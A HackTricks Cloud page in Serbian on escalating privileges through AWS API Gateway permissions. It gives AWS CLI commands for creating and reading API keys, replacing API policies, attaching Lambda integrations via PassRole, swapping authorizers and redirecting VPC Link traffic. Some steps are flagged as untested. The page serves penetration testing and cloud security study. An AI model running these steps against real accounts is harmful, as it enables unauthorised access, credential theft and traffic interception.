AWS - Apigateway Privesc

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

• Ako želite da vidite svoju kompaniju reklamiranu na HackTricks-u ili da preuzmete HackTricks u PDF formatu proverite PLANOVE ZA PRETPLATU!

• Nabavite zvanični PEASS & HackTricks swag

• Otkrijte Porodicu PEASS, našu kolekciju ekskluzivnih NFT-ova

• Pridružite se 💬 Discord grupi ili telegram grupi ili nas pratite na Twitteru 🐦 @hacktricks_live.

• Podelite svoje hakovanje trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.

Apigateway

Za više informacija pogledajte:

AWS - API Gateway Enum

apigateway:POST

Sa ovlašćenjem možete generisati API ključeve konfigurisanih API-ja (po regionu).

aws --region <region> apigateway create-api-key

Potencijalni uticaj: Sa ovom tehnikom ne možete dobiti privilegije, ali možete dobiti pristup osetljivim informacijama.

apigateway:GET

Sa ovlašćenjem možete dobiti generisane API ključeve konfigurisanih API-ja (po regionu).

aws --region <region> apigateway get-api-keys
aws --region <region> apigateway get-api-key --api-key <key> --include-value

Potencijalni uticaj: Sa ovom tehnikom ne možete dobiti privilegije, ali možda ćete dobiti pristup osetljivim informacijama.

apigateway:UpdateRestApiPolicy, apigateway:PATCH

Sa ovim dozvolama moguće je izmeniti politiku resursa API-ja kako biste sebi omogućili pristup za pozivanje i zloupotrebu potencijalnog pristupa koji API gateway može imati (poput pozivanja ranjive lambda funkcije).

aws apigateway update-rest-api \
--rest-api-id api-id \
--patch-operations op=replace,path=/policy,value='"{\"jsonEscapedPolicyDocument\"}"'

Potencijalni uticaj: Obično nećete moći direktno da postignete privilegovan pristup ovom tehnikom, ali možda ćete dobiti pristup osetljivim informacijama.

apigateway:PutIntegration, apigateway:CreateDeployment, iam:PassRole

Potrebno je testiranje

Napadač sa dozvolama apigateway:PutIntegration, apigateway:CreateDeployment i iam:PassRole može dodati novu integraciju postojećem API Gateway REST API-ju sa Lambda funkcijom koja ima pridruženu IAM ulogu. Napadač može zatim pokrenuti Lambda funkciju da izvrši proizvoljan kod i potencijalno dobiti pristup resursima povezanim sa IAM ulogom.

API_ID="your-api-id"
RESOURCE_ID="your-resource-id"
HTTP_METHOD="GET"
LAMBDA_FUNCTION_ARN="arn:aws:lambda:region:account-id:function:function-name"
LAMBDA_ROLE_ARN="arn:aws:iam::account-id:role/lambda-role"

# Add a new integration to the API Gateway REST API
aws apigateway put-integration --rest-api-id $API_ID --resource-id $RESOURCE_ID --http-method $HTTP_METHOD --type AWS_PROXY --integration-http-method POST --uri arn:aws:apigateway:region:lambda:path/2015-03-31/functions/$LAMBDA_FUNCTION_ARN/invocations --credentials $LAMBDA_ROLE_ARN

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

Potencijalni uticaj: Pristup resursima povezanim sa IAM ulogom Lambda funkcije.

apigateway:UpdateAuthorizer, apigateway:CreateDeployment

Potrebno testiranje

Napadač sa dozvolama apigateway:UpdateAuthorizer i apigateway:CreateDeployment može modifikovati postojećeg API Gateway autorizatora kako bi zaobišao sigurnosne provere ili izvršio proizvoljan kod prilikom zahteva za API-jem.

API_ID="your-api-id"
AUTHORIZER_ID="your-authorizer-id"
LAMBDA_FUNCTION_ARN="arn:aws:lambda:region:account-id:function:function-name"

# Update the API Gateway authorizer
aws apigateway update-authorizer --rest-api-id $API_ID --authorizer-id $AUTHORIZER_ID --authorizer-uri arn:aws:apigateway:region:lambda:path/2015-03-31/functions/$LAMBDA_FUNCTION_ARN/invocations

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

Potencijalni uticaj: Bypass-ovanje sigurnosnih provera, neovlašćen pristup resursima API-ja.

apigateway:UpdateVpcLink

Potrebno testiranje

Napadač sa dozvolom apigateway:UpdateVpcLink može izmeniti postojeći VPC Link kako bi pokazivao ka drugom Network Load Balancer-u, potencijalno preusmeravajući privatni API saobraćaj ka neovlašćenim ili zlonamernim resursima.

bashCopy codeVPC_LINK_ID="your-vpc-link-id"
NEW_NLB_ARN="arn:aws:elasticloadbalancing:region:account-id:loadbalancer/net/new-load-balancer-name/50dc6c495c0c9188"

# Update the VPC Link
aws apigateway update-vpc-link --vpc-link-id $VPC_LINK_ID --patch-operations op=replace,path=/targetArns,value="[$NEW_NLB_ARN]"

Potencijalni uticaj: Neovlašćen pristup privatnim API resursima, presretanje ili ometanje saobraćaja API-ja.

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

• Ako želite da vidite svoju kompaniju reklamiranu na HackTricks-u ili da preuzmete HackTricks u PDF formatu proverite PLANOVE ZA PRETPLATU!

• Nabavite zvanični PEASS & HackTricks swag

• Otkrijte Porodicu PEASS, našu kolekciju ekskluzivnih NFT-ova

• Pridružite se 💬 Discord grupi ili telegram grupi ili nas pratite na Twitteru 🐦 @hacktricks_live.

• Podelite svoje hakovanje trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.